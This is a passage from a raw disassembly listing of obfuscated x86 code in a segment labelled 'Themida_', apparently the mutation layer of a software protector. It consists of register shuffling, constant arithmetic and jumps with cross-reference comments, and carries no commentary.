5500444h add ebx, edi push edi mov edi, 5500444h add ebx, edi pop edi mov edi, [esp] add esp, 4 push ebx push dword ptr [esp+4] mov ebx, [esp] jmp loc_563927 ; --------------------------------------------------------------------------- loc_565F61: ; CODE XREF: Themida_:0055E44Aj sub cl, 1 push edx mov dl, 17h and dl, 1Ch shl dl, 8 or dl, 71h jmp loc_568312 ; --------------------------------------------------------------------------- loc_565F75: ; CODE XREF: Themida_:0055DF21j add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_5706F4 ; --------------------------------------------------------------------------- loc_565F86: ; CODE XREF: Themida_:00571595j add esp, 4 push eax push edx mov edx, 0DD01063h jmp loc_5655FC ; --------------------------------------------------------------------------- loc_565F98: ; CODE XREF: Themida_:00569511j add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov ebp, [esp] add esp, 4 push edi jmp loc_56E824 ; --------------------------------------------------------------------------- loc_565FB8: ; CODE XREF: Themida_:0055E7C0j not dword ptr [esp] pop esi push ecx push 2FB8h mov [esp], ebx mov ebx, 25EC01F7h mov ecx, 6CFD655Ah xor ecx, ebx mov ebx, [esp] add esp, 4 or esi, ecx mov ecx, [esp] push eax mov eax, esp jmp loc_55F104 ; --------------------------------------------------------------------------- loc_565FE7: ; CODE XREF: Themida_:00567864j pop edx push eax push ecx jmp loc_56A07E ; --------------------------------------------------------------------------- lodsb add al, 3Fh push edx mov dl, 0E0h shl dl, 4 inc dl sub dl, 0FAh xor dl, 53h sub al, dl pop edx push edx mov dl, 16h add dl, 32h add al, 0A2h sub al, dl jmp loc_5620C8 ; --------------------------------------------------------------------------- loc_566012: ; CODE XREF: Themida_:00563877j add esp, 4 jmp loc_56E275 ; --------------------------------------------------------------------------- loc_56601D: ; CODE XREF: Themida_:00563D41j push 0CF4h mov [esp], ebx push 5E26C20h mov ebx, [esp] add esp, 4 push ebx not dword ptr [esp] pop ebx inc ebx push edi mov edi, 0FA1D93DEh sub ebx, 96A75B4h sub ebx, edi add ebx, 96A75B4h pop edi add ecx, ebx pop ebx xchg ecx, [esp] mov esp, [esp] bt [esp], ax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_566062: ; CODE XREF: Themida_:0056926Ej push dword ptr [esp] pop esi jmp loc_571830 ; --------------------------------------------------------------------------- loc_56606B: ; CODE XREF: Themida_:0056894Cj push ebx push 570848F8h pop ebx dec ebx not ebx shl ebx, 5 sub ebx, 17E1762Dh mov edx, ebx pop ebx sub esp, 4 mov [esp], ecx mov ecx, 482308AFh xor edx, ecx pop ecx push esi mov esi, 0AAD3635h neg esi inc esi add esi, 4A741AD2h jmp loc_55E303 ; --------------------------------------------------------------------------- loc_5660A3: ; CODE XREF: Themida_:005701F4j push esp pop edx push ebx push ebp mov ebp, 5BDA47A6h mov ebx, ebp mov ebp, [esp] jmp loc_563215 ; --------------------------------------------------------------------------- loc_5660B6: ; CODE XREF: Themida_:00560702j pop ebx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_57063B ; --------------------------------------------------------------------------- loc_5660CB: ; CODE XREF: Themida_:00566A05j add eax, 5E5672BEh mov ebx, [esp] add esp, 4 push 2DCh jmp loc_5707B4 ; --------------------------------------------------------------------------- loc_5660E0: ; CODE XREF: Themida_:0056B6C6j push esi mov esi, 4EA672Bh xor ebp, esi pop esi jmp loc_569FA3 ; --------------------------------------------------------------------------- loc_5660EE: ; CODE XREF: Themida_:0056DDCAj pop esp not ebp xor ebp, ebx xor ebx, ebp xor ebp, ebx not ebx jmp loc_56064D ; --------------------------------------------------------------------------- loc_5660FE: ; CODE XREF: Themida_:00561705j mov ecx, 27D8740Ch jmp loc_571CA7 ; --------------------------------------------------------------------------- loc_566108: ; CODE XREF: Themida_:0056E002j pop dword ptr [esp] mov esp, [esp] push 6DDAh mov [esp], edi push 4EEEh push 45Ch mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 mov edi, [esp] add esp, 4 jmp loc_55E978 ; --------------------------------------------------------------------------- loc_56613F: ; CODE XREF: Themida_:00560EB2j push esi jmp loc_5616EC ; --------------------------------------------------------------------------- loc_566145: ; CODE XREF: Themida_:0056D9DBj pop esp jmp loc_5630D6 ; --------------------------------------------------------------------------- loc_56614B: ; CODE XREF: Themida_:005689F6j push dword ptr [esp] jmp loc_5616E3 ; --------------------------------------------------------------------------- loc_566153: ; CODE XREF: Themida_:0055D5B2j shr ebx, 2 add ebx, 34D77EEAh jmp loc_56B5A9 ; --------------------------------------------------------------------------- loc_566161: ; CODE XREF: Themida_:0055ECD3j mov [esp], ecx mov ecx, 0 push esi mov esi, 1C4A60F9h shr esi, 3 add esi, 68576107h jmp loc_56306B ; --------------------------------------------------------------------------- loc_56617D: ; CODE XREF: Themida_:0055EB60j mov ebp, ebx pop ebx shl ebp, 1 not ebp neg ebp add ebp, 617A59B9h shr ebp, 4 push esi mov esi, 9055755h inc esi push ebp mov ebp, 0EA8162CEh jmp loc_570FD4 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_56FBE8 ; --------------------------------------------------------------------------- loc_5661AA: ; CODE XREF: Themida_:0056AE81j mov eax, [esp] jmp loc_571B62 ; --------------------------------------------------------------------------- loc_5661B2: ; CODE XREF: Themida_:00568904j add eax, 4 add eax, 2 jmp loc_56D69F ; --------------------------------------------------------------------------- loc_5661BF: ; CODE XREF: Themida_:0056E8BCj add edx, edi pop edi or [edi+1Ch], edx push dword ptr [esp] pop edx push esi push esp jmp loc_55D459 ; --------------------------------------------------------------------------- loc_5661D0: ; CODE XREF: Themida_:0056A0DDj sub esp, 4 jmp loc_566EA9 ; --------------------------------------------------------------------------- loc_5661D8: ; CODE XREF: Themida_:0056AF3Dj shl edi, 1 dec edi shl edi, 1 and edi, 0A4C388Bh sub edi, 0C1806h add ecx, edi pop edi xchg ecx, [esp] pop esp shr eax, 0Eh xor eax, ecx push 7F1Dh mov [esp], eax xor [esp], ebx xor ebx, [esp] xor [esp], ebx xchg esi, ebx not esi xchg esi, ebx push ebx mov ebx, esp jmp loc_560256 ; --------------------------------------------------------------------------- loc_566214: ; CODE XREF: Themida_:00566278j add esp, 4 loc_566217: ; CODE XREF: Themida_:0055D5A0j push 3B08h mov [esp], eax jmp loc_569D45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562A0A loc_566224: ; CODE XREF: sub_562A0A+A98Fj or cl, 74h neg cl dec cl jmp loc_561CF8 ; END OF FUNCTION CHUNK FOR sub_562A0A ; --------------------------------------------------------------------------- loc_566230: ; CODE XREF: Themida_:005713B9j pop edx add dh, 0FAh jmp loc_568449 ; --------------------------------------------------------------------------- loc_566239: ; CODE XREF: Themida_:0056C712j mov edx, 24h jmp loc_560963 ; --------------------------------------------------------------------------- loc_566243: ; CODE XREF: Themida_:00560409j sub eax, 4A9527BBh mov ecx, [esp] add esp, 4 add eax, 33C067Fh add eax, ebp sub eax, 33C067Fh push dword ptr [esp] jmp loc_56B99E ; --------------------------------------------------------------------------- loc_566262: ; CODE XREF: Themida_:005634E5j push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 push dword ptr [esp] pop eax jmp loc_566214 ; --------------------------------------------------------------------------- loc_56627D: ; CODE XREF: Themida_:0056E050j pop ecx add esi, ebp pop ebp push 3AEFh mov [esp], ecx push 438Ah mov [esp], ebx jmp loc_56237E ; --------------------------------------------------------------------------- loc_566296: ; CODE XREF: Themida_:00564767j neg edx sub edx, 336375BAh jmp loc_56A7C4 ; --------------------------------------------------------------------------- loc_5662A3: ; CODE XREF: Themida_:0056C535j push esi mov esi, 66DE48F5h not esi sub esi, 262008CCh jmp loc_571F66 ; --------------------------------------------------------------------------- loc_5662B6: ; CODE XREF: Themida_:0055FBFCj sub edi, 534901BEh jmp loc_570094 ; --------------------------------------------------------------------------- loc_5662C1: ; CODE XREF: Themida_:00565E77j push edx push eax mov al, cl mov dh, al pop eax jmp loc_57292D ; --------------------------------------------------------------------------- loc_5662CD: ; CODE XREF: Themida_:00571099j sub eax, 9618C076h sub edx, eax pop eax sub ecx, 30245DD1h add ecx, edx jmp loc_55EE72 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_561C49 ; --------------------------------------------------------------------------- push edi push esp pop edi add edi, 4 push esi mov esi, 4 sub edi, esi pop esi xchg edi, [esp] pop esp mov [esp], ebp mov ebp, eax sub esp, 4 jmp loc_56F0F0 ; --------------------------------------------------------------------------- loc_566316: ; CODE XREF: Themida_:00569466j mov esi, 1E441A58h and ebx, esi mov esi, [esp] jmp loc_55E44F ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56632C: ; CODE XREF: Themida_:0056A10Cj pop esi xchg edi, [esp] pop esp mov [esp], ecx mov ecx, 2 jmp loc_567616 ; --------------------------------------------------------------------------- loc_56633E: ; CODE XREF: Themida_:0055F7C3j sub ecx, 2EC36A97h pop edi jmp loc_56335C ; --------------------------------------------------------------------------- loc_56634A: ; CODE XREF: Themida_:00564E7Ej mov [esp], ebx push 221h mov [esp], edx mov edx, 28671F69h jmp loc_56E103 ; --------------------------------------------------------------------------- loc_56635F: ; CODE XREF: Themida_:00561085j sub esp, 4 mov [esp], edi jmp loc_5692CD ; --------------------------------------------------------------------------- loc_56636A: ; CODE XREF: Themida_:0056DB9Ej mov esi, 44C87612h sub esi, 0CFF507Bh jmp loc_568B66 ; --------------------------------------------------------------------------- loc_56637A: ; CODE XREF: Themida_:0055F386j pop esi pop edi pop edi inc esi push edx mov edx, 5E2B79BDh sub esi, 372562Ch add esi, edx add esi, 372562Ch pop edx jmp loc_5638F5 ; --------------------------------------------------------------------------- loc_566398: ; CODE XREF: Themida_:00569B04j mov edx, [esp] jmp loc_567BED ; --------------------------------------------------------------------------- loc_5663A0: ; CODE XREF: Themida_:0055DD65j pop edx xor edx, 3DC45BEEh add edx, 0DC160155h mov edi, edx pop edx xor esi, edi pop edi xor edx, esi mov esi, [esp] add esp, 4 jmp loc_56440B ; --------------------------------------------------------------------------- loc_5663C0: ; CODE XREF: Themida_:0056A129j pop ecx add ecx, 72D76FE3h pop ebp push ebx mov ebx, 12C01612h neg ebx jmp loc_5612EE ; --------------------------------------------------------------------------- loc_5663D5: ; CODE XREF: Themida_:005682D1j or ebx, 29C5018Fh jmp loc_56975F ; --------------------------------------------------------------------------- loc_5663E0: ; CODE XREF: Themida_:0056ABE5j sub ecx, 4 xchg ecx, [esp] pop esp push 743Eh mov [esp], esp jmp loc_564D4C ; --------------------------------------------------------------------------- loc_5663F4: ; CODE XREF: Themida_:005680FBj mov edx, esp push 2956h mov [esp], ebx mov ebx, 4 add edx, ebx pop ebx add edx, 4 xchg edx, [esp] pop esp xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_56F2C4 ; --------------------------------------------------------------------------- loc_56641E: ; CODE XREF: Themida_:00567DE9j sub esp, 4 mov [esp], eax mov eax, 224622Fh add eax, 6FB138B9h or eax, 120D550Fh neg eax xor eax, 8C222015h add edi, eax mov eax, [esp] add esp, 4 add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_55FE8E ; --------------------------------------------------------------------------- loc_566453: ; CODE XREF: Themida_:00561B4Bj add esp, 4 jmp loc_56C77F ; --------------------------------------------------------------------------- loc_56645B: ; CODE XREF: Themida_:00565F1Bj pop ebp mov edi, ebx mov ebx, [esp] add esp, 4 add ebx, edi pop edi jmp loc_55D621 ; --------------------------------------------------------------------------- loc_56646C: ; CODE XREF: Themida_:0057171Aj mov eax, 4 jmp loc_564C09 ; --------------------------------------------------------------------------- loc_566476: ; CODE XREF: Themida_:0056E87Aj not dword ptr [esp] pop ebp add ebp, 6138532Bh add eax, 12485B84h add eax, ebp jmp loc_56CFEC ; --------------------------------------------------------------------------- loc_56648C: ; CODE XREF: Themida_:00568B80j mov edi, 1Ch jmp loc_56EDAF ; --------------------------------------------------------------------------- loc_566496: ; CODE XREF: Themida_:00566EC7j xchg ecx, [esp] pop esp jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56649F: ; CODE XREF: Themida_:0055D3EEj pop ebp xor esi, 5F18700Ah add esi, 0F7CBE5FAh add edi, esi pop esi sub edi, 66CA74BEh jmp loc_56C952 ; --------------------------------------------------------------------------- loc_5664BA: ; CODE XREF: Themida_:00571563j pop ebx add eax, ebx pop ebx xchg eax, [esp] jmp loc_56E308 ; --------------------------------------------------------------------------- loc_5664C6: ; CODE XREF: Themida_:0056D387j mov ebx, edx pop edx xor ebx, 6E1741A0h push 2E38h mov [esp], edi push eax push ebp mov ebp, 31F56A2Dh mov eax, ebp pop ebp mov edi, eax jmp loc_565A69 ; --------------------------------------------------------------------------- loc_5664E8: ; CODE XREF: Themida_:0056214Aj xor edi, 59F610D3h shr edi, 4 add edi, 0F20A554Bh add ebx, edi pop edi xchg ebx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_55E865 ; --------------------------------------------------------------------------- loc_566509: ; CODE XREF: Themida_:005678D2j add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push 22E8h mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi jmp loc_569D88 ; --------------------------------------------------------------------------- loc_56653F: ; CODE XREF: Themida_:0056F25Fj add esp, 4 jmp loc_56ABF9 ; --------------------------------------------------------------------------- loc_566547: ; CODE XREF: Themida_:0055F397j push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp rol word ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_566560: ; CODE XREF: Themida_:00564A15j xchg edx, [esp] mov esp, [esp] xchg edx, [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_566575: ; CODE XREF: Themida_:0056E2E5j or edx, 1AEA55F3h sub esp, 4 mov [esp], esi mov esi, 7B100B49h jmp loc_566FB8 ; --------------------------------------------------------------------------- loc_56658E: ; CODE XREF: Themida_:0056B371j add ebp, 4 jmp loc_55E6FF ; --------------------------------------------------------------------------- loc_566599: ; CODE XREF: Themida_:005698C1j shr ecx, 2 jmp loc_55FE52 ; --------------------------------------------------------------------------- loc_5665A1: ; CODE XREF: Themida_:0056707Ej pop esi push ebp mov ebp, 5541796Eh jmp loc_560C86 ; --------------------------------------------------------------------------- loc_5665AD: ; CODE XREF: Themida_:0055D4ABj mov [esp], ebx push 72EE39FAh pop ebx shl ebx, 7 dec ebx neg ebx jmp loc_569071 ; --------------------------------------------------------------------------- loc_5665C1: ; CODE XREF: Themida_:00566D02j mov eax, 34DE0B98h shl eax, 7 and eax, 58E2527Ah xor eax, 7C2175Bh add ebx, eax pop eax push ecx push edx mov edx, 75B55A68h and edx, 7DA85183h add edx, 0FDD9F263h mov ecx, edx pop edx sub ebx, ecx pop ecx jmp loc_563D6E ; --------------------------------------------------------------------------- loc_5665F4: ; CODE XREF: Themida_:0055F22Ej mov [esp], esi mov esi, 57CC7A92h jmp loc_5639BF ; --------------------------------------------------------------------------- loc_566601: ; CODE XREF: Themida_:00569E3Cj sub edx, 0EDA7FD46h add ebx, 3817556h sub ebx, 54AC636Eh jmp loc_56565B ; --------------------------------------------------------------------------- loc_566618: ; CODE XREF: Themida_:00563FAEj add eax, ebp jmp loc_564523 ; --------------------------------------------------------------------------- loc_56661F: ; CODE XREF: Themida_:0056B1EFj pop edx xchg ecx, [esp] pop esp mov [esp], ecx mov ecx, 24h add esi, 741045EFh add esi, ecx push eax mov eax, 741045EFh push eax mov eax, 607B568Ch sub esi, eax pop eax push 5581h mov [esp], ebx jmp loc_55FA8A ; --------------------------------------------------------------------------- loc_566650: ; CODE XREF: Themida_:005668CCj add al, 6Bh add al, bl sub al, 6Bh jmp loc_56E4BD ; --------------------------------------------------------------------------- loc_56665B: ; CODE XREF: Themida_:00564400j push dword ptr [esp] mov ebx, [esp] push 7BF5h jmp loc_560481 ; --------------------------------------------------------------------------- loc_56666B: ; CODE XREF: Themida_:0056075Aj xchg edx, [esp] mov esp, [esp] push eax mov eax, 4 sub edx, 7D42425Ch add edx, eax add edx, 7D42425Ch mov eax, [esp] push 40F3h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_56C590 ; --------------------------------------------------------------------------- loc_5666A6: ; CODE XREF: Themida_:00563607j xor [esp+4], edx pop edx push dword ptr [esp] jmp loc_563808 ; --------------------------------------------------------------------------- loc_5666B3: ; CODE XREF: Themida_:0056C6D9j push edx mov edx, 6DF90960h shr edx, 6 shl edx, 8 or edx, 4FFA52BAh sub edx, 0F0D43C77h add esi, edx pop edx xor esi, 5BDE18A2h inc esi xor esi, 2B515BB0h dec esi push 36DEh mov [esp], ebp jmp loc_55FC29 ; --------------------------------------------------------------------------- loc_5666E9: ; CODE XREF: Themida_:0056AF77j sub bl, ah push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 push eax mov eax, 3E971D2h jmp loc_56DF8B ; --------------------------------------------------------------------------- loc_566703: ; CODE XREF: Themida_:00560CB9j add ebp, 78697F01h dec ebp add ebp, 73635F8Fh xor ebp, 27598164h sub eax, 77B56F79h add eax, ebp jmp loc_56AA01 ; --------------------------------------------------------------------------- mov ax, [esp] push ebx mov ebx, esp push ecx push ebx mov ebx, 5AAA3C9Ch jmp loc_55D806 ; --------------------------------------------------------------------------- loc_566735: ; CODE XREF: Themida_:0056CCB8j push ecx push edx mov edx, 7E8F31C2h push edx pop ecx pop edx xor edx, ecx pop ecx jmp loc_570CE4 ; --------------------------------------------------------------------------- loc_566747: ; CODE XREF: Themida_:00563197j mov [esp], edx mov edx, 1FC22130h neg edx dec edx inc edx jmp loc_56F575 ; --------------------------------------------------------------------------- loc_566758: ; CODE XREF: Themida_:005711FFj add ecx, 75023084h add ecx, ebx sub ecx, 75023084h mov ebx, [esp] push ebx jmp loc_55E2BF ; --------------------------------------------------------------------------- loc_56676F: ; CODE XREF: Themida_:00569AFDj push ebx push esp jmp loc_571BA0 ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56677E: ; CODE XREF: Themida_:00567185j shl eax, 6 or eax, 54A4260Eh and eax, 341D0972h shl eax, 2 and eax, 6970544Bh add eax, 15225916h mov edi, eax mov eax, [esp] add esp, 4 mov esi, edi jmp loc_56CA56 ; --------------------------------------------------------------------------- loc_5667A7: ; CODE XREF: Themida_:0056C9EBj mov eax, [esp] add esp, 4 mov edx, eax pop eax pop ebp mov eax, edx push dword ptr [esp] jmp loc_561F44 ; --------------------------------------------------------------------------- loc_5667BB: ; CODE XREF: Themida_:00560904j add esp, 4 push dword ptr [esp] pop ecx push edx mov edx, esp jmp loc_56EA65 ; --------------------------------------------------------------------------- loc_5667CD: ; CODE XREF: Themida_:00566F54j mov dh, 0Eh sub dh, 0E8h sub al, 0B7h sub al, dh push bx push 7844h mov [esp], edx mov dh, 0B7h mov bl, dh mov edx, [esp] add esp, 4 push dx push ecx mov cl, 57h sub cl, 0FCh jmp loc_56FC53 ; --------------------------------------------------------------------------- loc_5667FA: ; CODE XREF: Themida_:005602C5j and ecx, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_567DC3 ; --------------------------------------------------------------------------- loc_566808: ; CODE XREF: Themida_:0056BE44j push ebp jmp loc_5682AF ; --------------------------------------------------------------------------- loc_56680E: ; CODE XREF: Themida_:00564F80j pop edi push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_566F1A ; --------------------------------------------------------------------------- loc_566826: ; CODE XREF: Themida_:00571F50j add ebx, 3CA826DAh jmp loc_56FCD0 ; --------------------------------------------------------------------------- loc_566831: ; CODE XREF: Themida_:00568D34j mov [esp], ebp jmp loc_564FE6 ; --------------------------------------------------------------------------- loc_566839: ; CODE XREF: Themida_:0056BFC4j sub edx, edi sub edx, 41AF1363h pop edi xchg edx, [esp] pop esp jmp loc_5647E7 ; --------------------------------------------------------------------------- loc_56684B: ; CODE XREF: Themida_:005727C0j pop edx xchg ebp, [esp] pop esp jmp loc_56F465 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_5637AB ; --------------------------------------------------------------------------- loc_566864: ; CODE XREF: Themida_:0056C65Bj xor ebx, 462A3686h not ebx xor ebx, 758D3FDFh sub ebx, 0D569AE9Ah push ebx xor dword ptr [esp], 4AD17924h pop edi xor edi, 4AD17924h pop ebx jmp loc_571276 ; --------------------------------------------------------------------------- loc_56688D: ; CODE XREF: Themida_:0056689Dj mov cl, 0ACh jmp loc_56550E ; --------------------------------------------------------------------------- loc_566894: ; CODE XREF: Themida_:0055EE44j add bh, 0A4h sub bh, cl sub bh, 0A4h push ecx jmp loc_56688D ; --------------------------------------------------------------------------- loc_5668A2: ; CODE XREF: Themida_:0055D5CFj push 4547h mov [esp], esp add dword ptr [esp], 4 pop esi push eax push ebp jmp loc_572445 ; --------------------------------------------------------------------------- loc_5668B9: ; CODE XREF: Themida_:005637D0j push edx mov edx, esp jmp loc_56EC49 ; --------------------------------------------------------------------------- loc_5668C1: ; CODE XREF: Themida_:00561342j sub bl, ah mov eax, [esp] add esp, 4 jmp loc_566650 ; --------------------------------------------------------------------------- loc_5668D1: ; CODE XREF: Themida_:0056E15Aj add eax, ecx pop ecx push 2770h jmp loc_55E0E9 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edx push esp pop edx push ebp push edi jmp loc_56B376 ; --------------------------------------------------------------------------- loc_5668F4: ; CODE XREF: Themida_:0056C090j sub ch, 0ADh shr ch, 8 xor ch, 32h mov bl, ch pop ecx xor bl, 0F9h push eax jmp loc_5628FC ; --------------------------------------------------------------------------- loc_566909: ; CODE XREF: Themida_:0056E674j shr edx, 4 add edx, 574738B5h sub edx, 70E661CFh dec edx jmp loc_55E1E3 ; --------------------------------------------------------------------------- loc_56691E: ; CODE XREF: Themida_:00571072j xor ecx, 0F54B72D4h jmp loc_55EC1A ; --------------------------------------------------------------------------- loc_566929: ; CODE XREF: Themida_:00569EBAj pop eax jmp loc_55D534 ; --------------------------------------------------------------------------- loc_56692F: ; CODE XREF: Themida_:005649EBj mov ebx, 64CC233Eh jmp loc_571930 ; --------------------------------------------------------------------------- loc_566939: ; CODE XREF: Themida_:00567B42j sub ebp, 589E0E60h shl ebp, 5 sub ebp, 0A9A5A34Ah sub eax, ebp pop ebp push 4C4Bh mov [esp], esi push ebx push 3B5E04AAh pop ebx dec ebx jmp loc_56F96C ; --------------------------------------------------------------------------- loc_566960: ; CODE XREF: Themida_:00567DD3j mov [esp], edi push ebx jmp loc_5609A8 ; --------------------------------------------------------------------------- loc_566969: ; CODE XREF: Themida_:0055E7EEj xchg edi, [esp] pop esp sub [esp], ax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_566977: ; CODE XREF: Themida_:0056F3F9j pop edx jmp loc_56EA96 ; --------------------------------------------------------------------------- loc_56697D: ; CODE XREF: Themida_:00567ED3j mov ch, 3Eh sub ch, ah mov eax, [esp] push edx jmp loc_56A45A ; --------------------------------------------------------------------------- loc_56698A: ; CODE XREF: Themida_:00571A1Aj inc ecx and ecx, 6C4E2738h add ecx, 0C07135F2h sub ebp, 36B259FBh add ebp, ecx push ebx mov ebx, 5F6F0844h shr ebx, 5 jmp loc_568431 ; --------------------------------------------------------------------------- loc_5669AD: ; CODE XREF: Themida_:005713EFj push 0FFFFFFFFh jmp loc_5719C7 ; --------------------------------------------------------------------------- loc_5669B7: ; CODE XREF: Themida_:00565ACBj neg edi jmp loc_56F8A6 ; --------------------------------------------------------------------------- loc_5669BE: ; CODE XREF: Themida_:0056FA45j push edx mov edx, 26586A87h jmp loc_56EE04 ; --------------------------------------------------------------------------- loc_5669C9: ; CODE XREF: Themida_:00560CCFj push edi mov edi, 1B78FAD6h mov ebx, edi jmp loc_571B41 ; --------------------------------------------------------------------------- loc_5669D6: ; CODE XREF: Themida_:005670D3j push esi jmp loc_564D9C ; --------------------------------------------------------------------------- loc_5669DC: ; CODE XREF: Themida_:00565291j pop edi add eax, 4C6D6055h sub esp, 4 mov [esp], ebx mov ebx, 41334503h sub eax, 5E5672BEh push edx mov edx, 76F011E5h sub eax, edx pop edx sub eax, ebx add eax, 76F011E5h jmp loc_5660CB ; --------------------------------------------------------------------------- loc_566A0A: ; CODE XREF: Themida_:0055DB35j mov eax, [esp] add esp, 4 push dword ptr [esp] jmp loc_563E56 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 3FDAh mov [esp], ebp mov ebp, 14A55EA5h add eax, 23582384h push esi jmp loc_56EED4 ; --------------------------------------------------------------------------- loc_566A36: ; CODE XREF: Themida_:00561E89j add eax, 0B9700F3Eh push eax push 5E125Bh mov eax, [esp] add esp, 4 sub edx, eax jmp loc_56BD8B ; --------------------------------------------------------------------------- loc_566A4E: ; CODE XREF: Themida_:0056AA83j sub cl, 12h mov al, cl pop ecx dec al shl al, 6 push dx mov dl, 5Ah sub al, dl pop dx not al push edx mov dl, 54h add dl, 69h shr dl, 8 jmp loc_569B4F ; --------------------------------------------------------------------------- loc_566A71: ; CODE XREF: Themida_:00561FA5j sub edi, 0CC9FF6C3h sub eax, edi pop edi pop ecx xor eax, [esp] xor [esp], eax jmp loc_56FA93 ; --------------------------------------------------------------------------- loc_566A86: ; CODE XREF: Themida_:0055E988j pop edi jmp loc_56B3B1 ; --------------------------------------------------------------------------- loc_566A8C: ; CODE XREF: Themida_:0056F282j movsx ecx, ax push edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx jmp loc_569D6F ; --------------------------------------------------------------------------- loc_566AAA: ; CODE XREF: Themida_:0056EA91j sub esi, 4 jmp loc_569A8F ; --------------------------------------------------------------------------- mov ax, [esp] push 464Eh mov [esp], edx sub esp, 4 mov [esp], esp push ecx jmp loc_56BAFD ; --------------------------------------------------------------------------- loc_566ACD: ; CODE XREF: Themida_:0056C5D7j shl dl, 6 push ebx jmp loc_567513 ; --------------------------------------------------------------------------- loc_566AD6: ; CODE XREF: Themida_:005673BEj push 7E83h mov [esp], esp add dword ptr [esp], 4 jmp loc_56B400 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_566AEA: ; CODE XREF: sub_59DB3D-2CE3Cj push eax jmp loc_5613D2 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_566AF0: ; CODE XREF: Themida_:005718C7j mov eax, esp jmp loc_56BDF4 ; --------------------------------------------------------------------------- loc_566AF7: ; CODE XREF: Themida_:0056DF30j pop esi xor ebp, edi push dword ptr [esp] jmp loc_56CF90 ; --------------------------------------------------------------------------- loc_566B02: ; CODE XREF: Themida_:0055E28Ej push ecx mov ecx, 2C3D4292h shl ecx, 2 or ecx, 1BDF5A1Eh sub ecx, 7B2264B6h jmp loc_5607C0 ; --------------------------------------------------------------------------- loc_566B1C: ; CODE XREF: Themida_:0056CBE1j push esp push dword ptr [esp] pop ebx jmp loc_568E2E ; --------------------------------------------------------------------------- loc_566B26: ; CODE XREF: Themida_:0056534Fj jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_566B2B: ; CODE XREF: Themida_:0056A567j mov bl, ah mov eax, [esp] add esp, 4 push edx push eax mov al, bl mov dl, al pop eax mov ah, dl pop edx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 mov bh, ah pop eax jmp loc_570A2C ; --------------------------------------------------------------------------- loc_566B51: ; CODE XREF: Themida_:0056D47Dj pop ebx add edi, 4 sub esp, 4 mov [esp], edi jmp loc_56EF27 ; --------------------------------------------------------------------------- loc_566B66: ; CODE XREF: Themida_:00568B29j mov ecx, 6E852CC4h mov edi, ecx pop ecx mov eax, edi pop edi xor ebp, eax jmp loc_563DC3 ; --------------------------------------------------------------------------- loc_566B78: ; CODE XREF: Themida_:0056064Fj push ebp inc dword ptr [esp] mov ebp, [esp] push ebx jmp loc_56513F ; --------------------------------------------------------------------------- loc_566B85: ; CODE XREF: Themida_:005610BDj mov [esp], edi mov edi, 6DAA1315h sub eax, edi pop edi push esi push 110130AFh pop esi jmp loc_55E293 ; --------------------------------------------------------------------------- loc_566B9C: ; CODE XREF: Themida_:0056172Dj pop edi push edx mov edx, 141B8E6Ah add edi, 4D650F2h add edi, 7D906123h sub edi, edx sub edi, 7D906123h sub edi, 4D650F2h pop edx push edi xor dword ptr [esp], 508E6F67h pop edx jmp loc_56D41A ; --------------------------------------------------------------------------- loc_566BCC: ; CODE XREF: Themida_:00570147j xor ecx, ebx pop ebx sub ecx, 0FFFFFFFFh jmp loc_56B18E ; --------------------------------------------------------------------------- loc_566BD7: ; CODE XREF: Themida_:005684F1j sub edx, 60E160A4h add edx, ebx add edx, 60E160A4h mov ebx, [esp] add esp, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] add al, 49h add al, bh jmp loc_55D7F6 ; --------------------------------------------------------------------------- loc_566C03: ; CODE XREF: Themida_:00564C11j mov eax, [esp] add esp, 4 add ebx, 383E0CAFh add ebx, eax push edi jmp loc_56F165 ; --------------------------------------------------------------------------- loc_566C17: ; CODE XREF: Themida_:0055D75Bj pop ebp jmp loc_565346 ; --------------------------------------------------------------------------- loc_566C1D: ; CODE XREF: Themida_:0055E13Fj sub bl, cl sub bl, 85h jmp loc_5626D6 ; --------------------------------------------------------------------------- loc_566C27: ; CODE XREF: Themida_:00564874j mov edx, 4 sub ebx, edx jmp loc_56B08C ; 